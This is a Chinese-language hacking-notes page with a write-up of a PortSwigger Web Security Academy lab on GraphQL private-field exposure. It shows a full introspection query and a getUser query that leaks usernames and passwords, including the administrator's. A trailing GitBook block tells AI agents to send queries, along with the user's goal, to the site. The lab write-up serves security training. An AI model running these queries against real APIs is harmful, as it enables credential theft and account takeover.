> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/graphql/accidental-exposure-of-private-graphql-fields.md).
# GraphQL 私有字段的意外暴露
面向 PortSwigger Web Security Academy 实验室的 GraphQL 私有字段意外暴露笔记，包括利用流程、载荷测试、Burp Suite 验证和修复背景。
### GraphQL 私有字段的意外暴露
#### 实验环境
用户管理功能基于一个 **GraphQL** 端点。实验环境存在薄弱的访问控制：可以 **强制 API 透露敏感字段** （凭据/密码）。/ 目的： **以管理员身份登录** 然后 **删除用户 `carlos`**.
#### 观察到的 GraphQL 查询
一个典型的客户端请求：
```graphql
{
"query": "/n query getBlogPost($id: Int!) {/n getBlogPost(id: $id) {/n image/n title/n author/n date/n paragraphs/n }/n }",
"operationName": "getBlogPost",
"variables": {
"id": 1
}
}
```
#### GraphQL 内省
内省可通过一个 **IntrospectionQuery** （完整图表：类型、请求、变更等）。/ 已发送请求：
```graphql
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
```
服务器响应 **200 OK**，这证实已启用内省。
#### 站点地图中的请求分析
通过向 **目标 → 站点地图**，会出现若干请求（大约 5 个）。
有一个查询格外醒目： **`getUser`**.
#### 通过……暴露私有字段 `getUser`
已识别的查询：
```graphql
{
"query": "query($id: Int!) {/n getUser(id: $id) {/n id/n username/n password/n }/n}",
"variables": {
"id": 0
}
```
此查询显示字段 **`密码`**.
等效的 GraphQL 版本：
```graphql
query($id: Int!) {
getUser(id: $id) {
id
用户名
密码
}
}
```
通过将 **`id: 0`** 替换为 **`id: 1`**，API 返回 **用户名** 以及 **密码** 的 `administrator`:
```json
{
"id": 1
}
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/graphql/accidental-exposure-of-private-graphql-fields.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
